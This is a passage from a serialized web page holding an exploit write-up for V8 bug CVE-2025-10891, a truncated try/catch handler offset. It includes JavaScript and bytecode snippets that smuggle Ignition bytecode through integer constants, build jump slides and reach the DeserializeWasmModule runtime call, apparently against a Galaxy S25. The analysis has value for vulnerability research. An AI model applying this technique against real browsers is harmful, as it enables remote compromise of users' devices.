0x0fff",{"type":21,"tag":85,"props":132639,"children":132640},{"style":114},[132641],{"type":26,"value":2535},{"type":21,"tag":85,"props":132643,"children":132644},{"class":87,"line":151},[132645,132649,132653,132657,132662],{"type":21,"tag":85,"props":132646,"children":132647},{"style":102},[132648],{"type":26,"value":12204},{"type":21,"tag":85,"props":132650,"children":132651},{"style":120},[132652],{"type":26,"value":37893},{"type":21,"tag":85,"props":132654,"children":132655},{"style":169},[132656],{"type":26,"value":1941},{"type":21,"tag":85,"props":132658,"children":132659},{"style":2285},[132660],{"type":26,"value":132661}," 0x0fffffff",{"type":21,"tag":85,"props":132663,"children":132664},{"style":114},[132665],{"type":26,"value":2535},{"type":21,"tag":85,"props":132667,"children":132668},{"class":87,"line":160},[132669,132673,132678,132682,132687],{"type":21,"tag":85,"props":132670,"children":132671},{"style":102},[132672],{"type":26,"value":12204},{"type":21,"tag":85,"props":132674,"children":132675},{"style":120},[132676],{"type":26,"value":132677}," d",{"type":21,"tag":85,"props":132679,"children":132680},{"style":169},[132681],{"type":26,"value":1941},{"type":21,"tag":85,"props":132683,"children":132684},{"style":2285},[132685],{"type":26,"value":132686}," 0xffffffff",{"type":21,"tag":85,"props":132688,"children":132689},{"style":114},[132690],{"type":26,"value":2535},{"type":21,"tag":22,"props":132692,"children":132693},{},[132694],{"type":26,"value":132695},"compiles to",{"type":21,"tag":75,"props":132697,"children":132699},{"code":132698}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[132700],{"type":21,"tag":66,"props":132701,"children":132702},{"__ignoreMap":7},[132703],{"type":26,"value":132698},{"type":21,"tag":22,"props":132705,"children":132706},{},[132707],{"type":26,"value":132708},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":21,"tag":10022,"props":132710,"children":132712},{"id":132711},"cve-2025-10891",[132713],{"type":26,"value":132565},{"type":21,"tag":22,"props":132715,"children":132716},{},[132717,132719,132725,132727,132733],{"type":26,"value":132718},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":21,"tag":66,"props":132720,"children":132722},{"className":132721},[],[132723],{"type":26,"value":132724},"[start, end) => handler",{"type":26,"value":132726}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":21,"tag":66,"props":132728,"children":132730},{"className":132729},[],[132731],{"type":26,"value":132732},"handler",{"type":26,"value":132734}," is jumped to.",{"type":21,"tag":75,"props":132736,"children":132738},{"code":132737,"language":31810,"meta":7,"className":31808,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[132739],{"type":21,"tag":66,"props":132740,"children":132741},{"__ignoreMap":7},[132742,132753,132768,132783,132806],{"type":21,"tag":85,"props":132743,"children":132744},{"class":87,"line":88},[132745,132749],{"type":21,"tag":85,"props":132746,"children":132747},{"style":2885},[132748],{"type":26,"value":48786},{"type":21,"tag":85,"props":132750,"children":132751},{"style":114},[132752],{"type":26,"value":148},{"type":21,"tag":85,"props":132754,"children":132755},{"class":87,"line":98},[132756,132760,132764],{"type":21,"tag":85,"props":132757,"children":132758},{"style":2885},[132759],{"type":26,"value":35649},{"type":21,"tag":85,"props":132761,"children":132762},{"style":2285},[132763],{"type":26,"value":3279},{"type":21,"tag":85,"props":132765,"children":132766},{"style":114},[132767],{"type":26,"value":2535},{"type":21,"tag":85,"props":132769,"children":132770},{"class":87,"line":151},[132771,132775,132779],{"type":21,"tag":85,"props":132772,"children":132773},{"style":114},[132774],{"type":26,"value":47328},{"type":21,"tag":85,"props":132776,"children":132777},{"style":2885},[132778],{"type":26,"value":48866},{"type":21,"tag":85,"props":132780,"children":132781},{"style":114},[132782],{"type":26,"value":148},{"type":21,"tag":85,"props":132784,"children":132785},{"class":87,"line":160},[132786,132790,132794,132798,132802],{"type":21,"tag":85,"props":132787,"children":132788},{"style":102},[132789],{"type":26,"value":2206},{"type":21,"tag":85,"props":132791,"children":132792},{"style":120},[132793],{"type":26,"value":91172},{"type":21,"tag":85,"props":132795,"children":132796},{"style":169},[132797],{"type":26,"value":1941},{"type":21,"tag":85,"props":132799,"children":132800},{"style":2285},[132801],{"type":26,"value":2288},{"type":21,"tag":85,"props":132803,"children":132804},{"style":114},[132805],{"type":26,"value":2535},{"type":21,"tag":85,"props":132807,"children":132808},{"class":87,"line":185},[132809],{"type":21,"tag":85,"props":132810,"children":132811},{"style":114},[132812],{"type":26,"value":2671},{"type":21,"tag":75,"props":132814,"children":132816},{"code":132815}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[132817],{"type":21,"tag":66,"props":132818,"children":132819},{"__ignoreMap":7},[132820],{"type":26,"value":132815},{"type":21,"tag":22,"props":132822,"children":132823},{},[132824,132826,132831,132833,132838],{"type":26,"value":132825},"However, the ",{"type":21,"tag":66,"props":132827,"children":132829},{"className":132828},[],[132830],{"type":26,"value":132732},{"type":26,"value":132832}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":21,"tag":66,"props":132834,"children":132836},{"className":132835},[],[132837],{"type":26,"value":48866},{"type":26,"value":132839}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":21,"tag":22,"props":132841,"children":132842},{},[132843,132845,132851],{"type":26,"value":132844},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":21,"tag":66,"props":132846,"children":132848},{"className":132847},[],[132849],{"type":26,"value":132850},"yield*",{"type":26,"value":132852}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":21,"tag":54,"props":132854,"children":132856},{"id":132855},"exploitation",[132857],{"type":26,"value":132858},"Exploitation",{"type":21,"tag":10022,"props":132860,"children":132862},{"id":132861},"constant-smuggling",[132863],{"type":26,"value":132864},"Constant Smuggling",{"type":21,"tag":22,"props":132866,"children":132867},{},[132868,132870,132877],{"type":26,"value":132869},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":21,"tag":335,"props":132871,"children":132874},{"href":132872,"rel":132873},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[339],[132875],{"type":26,"value":132876},"technique",{"type":26,"value":132878}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":21,"tag":75,"props":132880,"children":132882},{"code":132881,"language":31810,"meta":7,"className":31808,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[132883],{"type":21,"tag":66,"props":132884,"children":132885},{"__ignoreMap":7},[132886,132914,132941,132968],{"type":21,"tag":85,"props":132887,"children":132888},{"class":87,"line":88},[132889,132893,132897,132901,132905,132910],{"type":21,"tag":85,"props":132890,"children":132891},{"style":102},[132892],{"type":26,"value":12204},{"type":21,"tag":85,"props":132894,"children":132895},{"style":120},[132896],{"type":26,"value":90298},{"type":21,"tag":85,"props":132898,"children":132899},{"style":169},[132900],{"type":26,"value":1941},{"type":21,"tag":85,"props":132902,"children":132903},{"style":169},[132904],{"type":26,"value":51711},{"type":21,"tag":85,"props":132906,"children":132907},{"style":2285},[132908],{"type":26,"value":132909},"9.255963134931783e61",{"type":21,"tag":85,"props":132911,"children":132912},{"style":114},[132913],{"type":26,"value":2535},{"type":21,"tag":85,"props":132915,"children":132916},{"class":87,"line":98},[132917,132921,132925,132929,132933,132937],{"type":21,"tag":85,"props":132918,"children":132919},{"style":102},[132920],{"type":26,"value":12204},{"type":21,"tag":85,"props":132922,"children":132923},{"style":120},[132924],{"type":26,"value":91172},{"type":21,"tag":85,"props":132926,"children":132927},{"style":169},[132928],{"type":26,"value":1941},{"type":21,"tag":85,"props":132930,"children":132931},{"style":169},[132932],{"type":26,"value":51711},{"type":21,"tag":85,"props":132934,"children":132935},{"style":2285},[132936],{"type":26,"value":132909},{"type":21,"tag":85,"props":132938,"children":132939},{"style":114},[132940],{"type":26,"value":2535},{"type":21,"tag":85,"props":132942,"children":132943},{"class":87,"line":151},[132944,132948,132952,132956,132960,132964],{"type":21,"tag":85,"props":132945,"children":132946},{"style":102},[132947],{"type":26,"value":12204},{"type":21,"tag":85,"props":132949,"children":132950},{"style":120},[132951],{"type":26,"value":37893},{"type":21,"tag":85,"props":132953,"children":132954},{"style":169},[132955],{"type":26,"value":1941},{"type":21,"tag":85,"props":132957,"children":132958},{"style":169},[132959],{"type":26,"value":51711},{"type":21,"tag":85,"props":132961,"children":132962},{"style":2285},[132963],{"type":26,"value":132909},{"type":21,"tag":85,"props":132965,"children":132966},{"style":114},[132967],{"type":26,"value":2535},{"type":21,"tag":85,"props":132969,"children":132970},{"class":87,"line":160},[132971,132975,132979,132983,132987,132991],{"type":21,"tag":85,"props":132972,"children":132973},{"style":102},[132974],{"type":26,"value":12204},{"type":21,"tag":85,"props":132976,"children":132977},{"style":120},[132978],{"type":26,"value":132677},{"type":21,"tag":85,"props":132980,"children":132981},{"style":169},[132982],{"type":26,"value":1941},{"type":21,"tag":85,"props":132984,"children":132985},{"style":169},[132986],{"type":26,"value":51711},{"type":21,"tag":85,"props":132988,"children":132989},{"style":2285},[132990],{"type":26,"value":132909},{"type":21,"tag":85,"props":132992,"children":132993},{"style":114},[132994],{"type":26,"value":2535},{"type":21,"tag":22,"props":132996,"children":132997},{},[132998],{"type":26,"value":132999},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":21,"tag":22,"props":133001,"children":133002},{},[133003],{"type":26,"value":133004},"We'll use a similar principle here, although much more limited. With",{"type":21,"tag":75,"props":133006,"children":133008},{"code":133007},"let a = 0x0693bebe;\n",[133009],{"type":21,"tag":66,"props":133010,"children":133011},{"__ignoreMap":7},[133012],{"type":26,"value":133007},{"type":21,"tag":22,"props":133014,"children":133015},{},[133016],{"type":26,"value":133017},"We will compile the bytecode:",{"type":21,"tag":75,"props":133019,"children":133021},{"code":133020},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[133022],{"type":21,"tag":66,"props":133023,"children":133024},{"__ignoreMap":7},[133025],{"type":26,"value":133020},{"type":21,"tag":22,"props":133027,"children":133028},{},[133029,133031,133037,133039,133045,133046,133052],{"type":26,"value":133030},"We can then jump to the 3rd byte (",{"type":21,"tag":66,"props":133032,"children":133034},{"className":133033},[],[133035],{"type":26,"value":133036},"0xbe",{"type":26,"value":133038},"), and gain 2 controlled bytes of execution, followed by ",{"type":21,"tag":66,"props":133040,"children":133042},{"className":133041},[],[133043],{"type":26,"value":133044},"0x93 0x02 - 0xf",{"type":26,"value":717},{"type":21,"tag":66,"props":133047,"children":133049},{"className":133048},[],[133050],{"type":26,"value":133051},"Jump +[2-15]",{"type":26,"value":133053},") to jump into the next constant.",{"type":21,"tag":22,"props":133055,"children":133056},{},[133057,133059,133065,133067,133073,133075,133081],{"type":26,"value":133058},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":21,"tag":66,"props":133060,"children":133062},{"className":133061},[],[133063],{"type":26,"value":133064},"StarX",{"type":26,"value":133066}," instructions, registers 16-121 resulted in two bytes ",{"type":21,"tag":66,"props":133068,"children":133070},{"className":133069},[],[133071],{"type":26,"value":133072},"Star rX",{"type":26,"value":133074}," instructions, and the next batch resulted in 4 byte ",{"type":21,"tag":66,"props":133076,"children":133078},{"className":133077},[],[133079],{"type":26,"value":133080},"Star.ExtraWide rX",{"type":26,"value":133082}," instructions.",{"type":21,"tag":22,"props":133084,"children":133085},{},[133086,133088,133094],{"type":26,"value":133087},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":21,"tag":66,"props":133089,"children":133091},{"className":133090},[],[133092],{"type":26,"value":133093},"0x8931111",{"type":26,"value":172},{"type":21,"tag":75,"props":133096,"children":133098},{"code":133097,"language":31810,"meta":7,"className":31808,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[133099],{"type":21,"tag":66,"props":133100,"children":133101},{"__ignoreMap":7},[133102,133127,133151,133175,133199,133223,133247],{"type":21,"tag":85,"props":133103,"children":133104},{"class":87,"line":88},[133105,133109,133114,133118,133123],{"type":21,"tag":85,"props":133106,"children":133107},{"style":102},[133108],{"type":26,"value":12204},{"type":21,"tag":85,"props":133110,"children":133111},{"style":120},[133112],{"type":26,"value":133113}," a206",{"type":21,"tag":85,"props":133115,"children":133116},{"style":169},[133117],{"type":26,"value":1941},{"type":21,"tag":85,"props":133119,"children":133120},{"style":2285},[133121],{"type":26,"value":133122}," 0x8931111",{"type":21,"tag":85,"props":133124,"children":133125},{"style":114},[133126],{"type":26,"value":2535},{"type":21,"tag":85,"props":133128,"children":133129},{"class":87,"line":98},[133130,133134,133139,133143,133147],{"type":21,"tag":85,"props":133131,"children":133132},{"style":102},[133133],{"type":26,"value":12204},{"type":21,"tag":85,"props":133135,"children":133136},{"style":120},[133137],{"type":26,"value":133138}," a207",{"type":21,"tag":85,"props":133140,"children":133141},{"style":169},[133142],{"type":26,"value":1941},{"type":21,"tag":85,"props":133144,"children":133145},{"style":2285},[133146],{"type":26,"value":133122},{"type":21,"tag":85,"props":133148,"children":133149},{"style":114},[133150],{"type":26,"value":2535},{"type":21,"tag":85,"props":133152,"children":133153},{"class":87,"line":151},[133154,133158,133163,133167,133171],{"type":21,"tag":85,"props":133155,"children":133156},{"style":102},[133157],{"type":26,"value":12204},{"type":21,"tag":85,"props":133159,"children":133160},{"style":120},[133161],{"type":26,"value":133162}," a208",{"type":21,"tag":85,"props":133164,"children":133165},{"style":169},[133166],{"type":26,"value":1941},{"type":21,"tag":85,"props":133168,"children":133169},{"style":2285},[133170],{"type":26,"value":133122},{"type":21,"tag":85,"props":133172,"children":133173},{"style":114},[133174],{"type":26,"value":2535},{"type":21,"tag":85,"props":133176,"children":133177},{"class":87,"line":160},[133178,133182,133187,133191,133195],{"type":21,"tag":85,"props":133179,"children":133180},{"style":102},[133181],{"type":26,"value":12204},{"type":21,"tag":85,"props":133183,"children":133184},{"style":120},[133185],{"type":26,"value":133186}," a209",{"type":21,"tag":85,"props":133188,"children":133189},{"style":169},[133190],{"type":26,"value":1941},{"type":21,"tag":85,"props":133192,"children":133193},{"style":2285},[133194],{"type":26,"value":133122},{"type":21,"tag":85,"props":133196,"children":133197},{"style":114},[133198],{"type":26,"value":2535},{"type":21,"tag":85,"props":133200,"children":133201},{"class":87,"line":185},[133202,133206,133211,133215,133219],{"type":21,"tag":85,"props":133203,"children":133204},{"style":102},[133205],{"type":26,"value":12204},{"type":21,"tag":85,"props":133207,"children":133208},{"style":120},[133209],{"type":26,"value":133210}," a210",{"type":21,"tag":85,"props":133212,"children":133213},{"style":169},[133214],{"type":26,"value":1941},{"type":21,"tag":85,"props":133216,"children":133217},{"style":2285},[133218],{"type":26,"value":133122},{"type":21,"tag":85,"props":133220,"children":133221},{"style":114},[133222],{"type":26,"value":2535},{"type":21,"tag":85,"props":133224,"children":133225},{"class":87,"line":501},[133226,133230,133235,133239,133243],{"type":21,"tag":85,"props":133227,"children":133228},{"style":102},[133229],{"type":26,"value":12204},{"type":21,"tag":85,"props":133231,"children":133232},{"style":120},[133233],{"type":26,"value":133234}," a211",{"type":21,"tag":85,"props":133236,"children":133237},{"style":169},[133238],{"type":26,"value":1941},{"type":21,"tag":85,"props":133240,"children":133241},{"style":2285},[133242],{"type":26,"value":133122},{"type":21,"tag":85,"props":133244,"children":133245},{"style":114},[133246],{"type":26,"value":2535},{"type":21,"tag":85,"props":133248,"children":133249},{"class":87,"line":697},[133250,133254,133259,133263,133267],{"type":21,"tag":85,"props":133251,"children":133252},{"style":102},[133253],{"type":26,"value":12204},{"type":21,"tag":85,"props":133255,"children":133256},{"style":120},[133257],{"type":26,"value":133258}," a212",{"type":21,"tag":85,"props":133260,"children":133261},{"style":169},[133262],{"type":26,"value":1941},{"type":21,"tag":85,"props":133264,"children":133265},{"style":2285},[133266],{"type":26,"value":133122},{"type":21,"tag":85,"props":133268,"children":133269},{"style":114},[133270],{"type":26,"value":2535},{"type":21,"tag":22,"props":133272,"children":133273},{},[133274],{"type":26,"value":133275},"Those instructions result in:",{"type":21,"tag":75,"props":133277,"children":133279},{"code":133278},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[133280],{"type":21,"tag":66,"props":133281,"children":133282},{"__ignoreMap":7},[133283],{"type":26,"value":133278},{"type":21,"tag":22,"props":133285,"children":133286},{},[133287,133289,133295,133297,133301],{"type":26,"value":133288},"(The offset of ",{"type":21,"tag":66,"props":133290,"children":133292},{"className":133291},[],[133293],{"type":26,"value":133294},"Jump",{"type":26,"value":133296}," instructions is added to the ",{"type":21,"tag":39,"props":133298,"children":133299},{},[133300],{"type":26,"value":71551},{"type":26,"value":133302}," of the instruction.)",{"type":21,"tag":22,"props":133304,"children":133305},{},[133306,133308,133314],{"type":26,"value":133307},"Now, 3 out of the 6 bytes in a ",{"type":21,"tag":66,"props":133309,"children":133311},{"className":133310},[],[133312],{"type":26,"value":133313},"LdaSmi.ExtraWide",{"type":26,"value":133315}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":21,"tag":10022,"props":133317,"children":133319},{"id":133318},"exploit-goal",[133320],{"type":26,"value":133321},"Exploit Goal",{"type":21,"tag":22,"props":133323,"children":133324},{},[133325,133327,133333,133334,133340],{"type":26,"value":133326},"Initially we considered using ",{"type":21,"tag":66,"props":133328,"children":133330},{"className":133329},[],[133331],{"type":26,"value":133332},"Star",{"type":26,"value":5349},{"type":21,"tag":66,"props":133335,"children":133337},{"className":133336},[],[133338],{"type":26,"value":133339},"Ldar",{"type":26,"value":133341}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":21,"tag":22,"props":133343,"children":133344},{},[133345,133347,133354],{"type":26,"value":133346},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":21,"tag":335,"props":133348,"children":133351},{"href":133349,"rel":133350},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[339],[133352],{"type":26,"value":133353},"stack pivot and ROP",{"type":26,"value":133355},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":21,"tag":22,"props":133357,"children":133358},{},[133359],{"type":26,"value":133360},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":21,"tag":22,"props":133362,"children":133363},{},[133364],{"type":26,"value":133365},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":21,"tag":22,"props":133367,"children":133368},{},[133369,133371,133377,133379,133385,133387,133393],{"type":26,"value":133370},"At this point, we identified an interesting opcode: ",{"type":21,"tag":66,"props":133372,"children":133374},{"className":133373},[],[133375],{"type":26,"value":133376},"CallRuntime",{"type":26,"value":133378},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":21,"tag":66,"props":133380,"children":133382},{"className":133381},[],[133383],{"type":26,"value":133384},"--allow-natives-syntax",{"type":26,"value":133386}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":21,"tag":66,"props":133388,"children":133390},{"className":133389},[],[133391],{"type":26,"value":133392},"DeserializeWasmModule",{"type":26,"value":73},{"type":21,"tag":22,"props":133395,"children":133396},{},[133397,133399,133406,133407,133412,133413,133419,133421,133428],{"type":26,"value":133398},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":21,"tag":335,"props":133400,"children":133403},{"href":133401,"rel":133402},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[339],[133404],{"type":26,"value":133405},"JIT-compiled functions",{"type":26,"value":18956},{"type":21,"tag":66,"props":133408,"children":133410},{"className":133409},[],[133411],{"type":26,"value":133392},{"type":26,"value":5349},{"type":21,"tag":66,"props":133414,"children":133416},{"className":133415},[],[133417],{"type":26,"value":133418},"SerializeWasmModule",{"type":26,"value":133420}," themselves are only used from test functions, and indeed have been ",{"type":21,"tag":335,"props":133422,"children":133425},{"href":133423,"rel":133424},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[339],[133426],{"type":26,"value":133427},"removed",{"type":26,"value":133429}," from recent production V8 builds due to how abusable this functionality is.",{"type":21,"tag":22,"props":133431,"children":133432},{},[133433,133435,133441,133443,133449,133451,133456,133458,133464,133466,133471,133472,133477,133478,133483,133485,133491,133493,133497],{"type":26,"value":133434},"However, calling this opcode represented a significant challenge:\n",{"type":21,"tag":66,"props":133436,"children":133438},{"className":133437},[],[133439],{"type":26,"value":133440},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":26,"value":133442},"\nWhere ",{"type":21,"tag":66,"props":133444,"children":133446},{"className":133445},[],[133447],{"type":26,"value":133448},"func-id",{"type":26,"value":133450}," is a 2-byte function ID, ",{"type":21,"tag":66,"props":133452,"children":133454},{"className":133453},[],[133455],{"type":26,"value":38676},{"type":26,"value":133457}," is the index of the last register passed and ",{"type":21,"tag":66,"props":133459,"children":133461},{"className":133460},[],[133462],{"type":26,"value":133463},"argc",{"type":26,"value":133465}," is the number of arguments passed (e.g. passing ",{"type":21,"tag":66,"props":133467,"children":133469},{"className":133468},[],[133470],{"type":26,"value":44834},{"type":26,"value":256},{"type":21,"tag":66,"props":133473,"children":133475},{"className":133474},[],[133476],{"type":26,"value":44977},{"type":26,"value":11408},{"type":21,"tag":66,"props":133479,"children":133481},{"className":133480},[],[133482],{"type":26,"value":44960},{"type":26,"value":133484}," would be encoded as ",{"type":21,"tag":66,"props":133486,"children":133488},{"className":133487},[],[133489],{"type":26,"value":133490},"\u003Cr2> \u003C3>",{"type":26,"value":133492},").\nThis requires ",{"type":21,"tag":39,"props":133494,"children":133495},{},[133496],{"type":26,"value":18532},{"type":26,"value":133498}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":21,"tag":10022,"props":133500,"children":133502},{"id":133501},"better-bytecode-control",[133503],{"type":26,"value":133504},"Better Bytecode Control",{"type":21,"tag":22,"props":133506,"children":133507},{},[133508,133510,133517,133519,133525],{"type":26,"value":133509},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":21,"tag":335,"props":133511,"children":133514},{"href":133512,"rel":133513},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[339],[133515],{"type":26,"value":133516},"feedback vector slot",{"type":26,"value":133518},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":21,"tag":66,"props":133520,"children":133522},{"className":133521},[],[133523],{"type":26,"value":133524},"AddSmi",{"type":26,"value":133526}," instruction, it represents the number of operations performed on the target value so far.",{"type":21,"tag":22,"props":133528,"children":133529},{},[133530],{"type":26,"value":133531},"For example, we can look at the below Ignition disassembly:",{"type":21,"tag":75,"props":133533,"children":133535},{"code":133534},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[133536],{"type":21,"tag":66,"props":133537,"children":133538},{"__ignoreMap":7},[133539],{"type":26,"value":133534},{"type":21,"tag":22,"props":133541,"children":133542},{},[133543,133545,133551],{"type":26,"value":133544},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":21,"tag":66,"props":133546,"children":133548},{"className":133547},[],[133549],{"type":26,"value":133550},"AddSmi.ExtraWide",{"type":26,"value":133552},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":21,"tag":22,"props":133554,"children":133555},{},[133556],{"type":26,"value":133557},"Eventually, we can reach a stage like this:",{"type":21,"tag":75,"props":133559,"children":133561},{"code":133560},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[133562],{"type":21,"tag":66,"props":133563,"children":133564},{"__ignoreMap":7},[133565],{"type":26,"value":133560},{"type":21,"tag":22,"props":133567,"children":133568},{},[133569],{"type":26,"value":133570},"If you skip the first two bytes, you have",{"type":21,"tag":17108,"props":133572,"children":133573},{},[133574,133605],{"type":21,"tag":845,"props":133575,"children":133576},{},[133577,133582,133584,133589,133591,133597,133599],{"type":21,"tag":66,"props":133578,"children":133580},{"className":133579},[],[133581],{"type":26,"value":133376},{"type":26,"value":133583}," (0x6c) to ",{"type":21,"tag":66,"props":133585,"children":133587},{"className":133586},[],[133588],{"type":26,"value":133392},{"type":26,"value":133590}," (0x0266) starting from register ",{"type":21,"tag":66,"props":133592,"children":133594},{"className":133593},[],[133595],{"type":26,"value":133596},"a2",{"type":26,"value":133598}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":21,"tag":66,"props":133600,"children":133602},{"className":133601},[],[133603],{"type":26,"value":133604},"DeserializeWasmModule(a2, a1)",{"type":21,"tag":845,"props":133606,"children":133607},{},[133608],{"type":26,"value":133609},"a Jump instruction",{"type":21,"tag":10022,"props":133611,"children":133613},{"id":133612},"returning-back-to-js",[133614],{"type":26,"value":133615},"Returning Back to JS",{"type":21,"tag":22,"props":133617,"children":133618},{},[133619,133621,133627],{"type":26,"value":133620},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":21,"tag":66,"props":133622,"children":133624},{"className":133623},[],[133625],{"type":26,"value":133626},"yield",{"type":26,"value":133628}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":21,"tag":22,"props":133630,"children":133631},{},[133632],{"type":26,"value":133633},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":21,"tag":75,"props":133635,"children":133637},{"code":133636,"language":31810,"meta":7,"className":31808,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[133638],{"type":21,"tag":66,"props":133639,"children":133640},{"__ignoreMap":7},[133641,133652,133700,133721,133737,133760,133788,133805],{"type":21,"tag":85,"props":133642,"children":133643},{"class":87,"line":88},[133644,133648],{"type":21,"tag":85,"props":133645,"children":133646},{"style":2885},[133647],{"type":26,"value":48786},{"type":21,"tag":85,"props":133649,"children":133650},{"style":114},[133651],{"type":26,"value":148},{"type":21,"tag":85,"props":133653,"children":133654},{"class":87,"line":98},[133655,133660,133664,133669,133673,133678,133682,133687,133691,133695],{"type":21,"tag":85,"props":133656,"children":133657},{"style":120},[133658],{"type":26,"value":133659},"  $",{"type":21,"tag":85,"props":133661,"children":133662},{"style":114},[133663],{"type":26,"value":77080},{"type":21,"tag":85,"props":133665,"children":133666},{"style":5026},[133667],{"type":26,"value":133668},"'a1 + 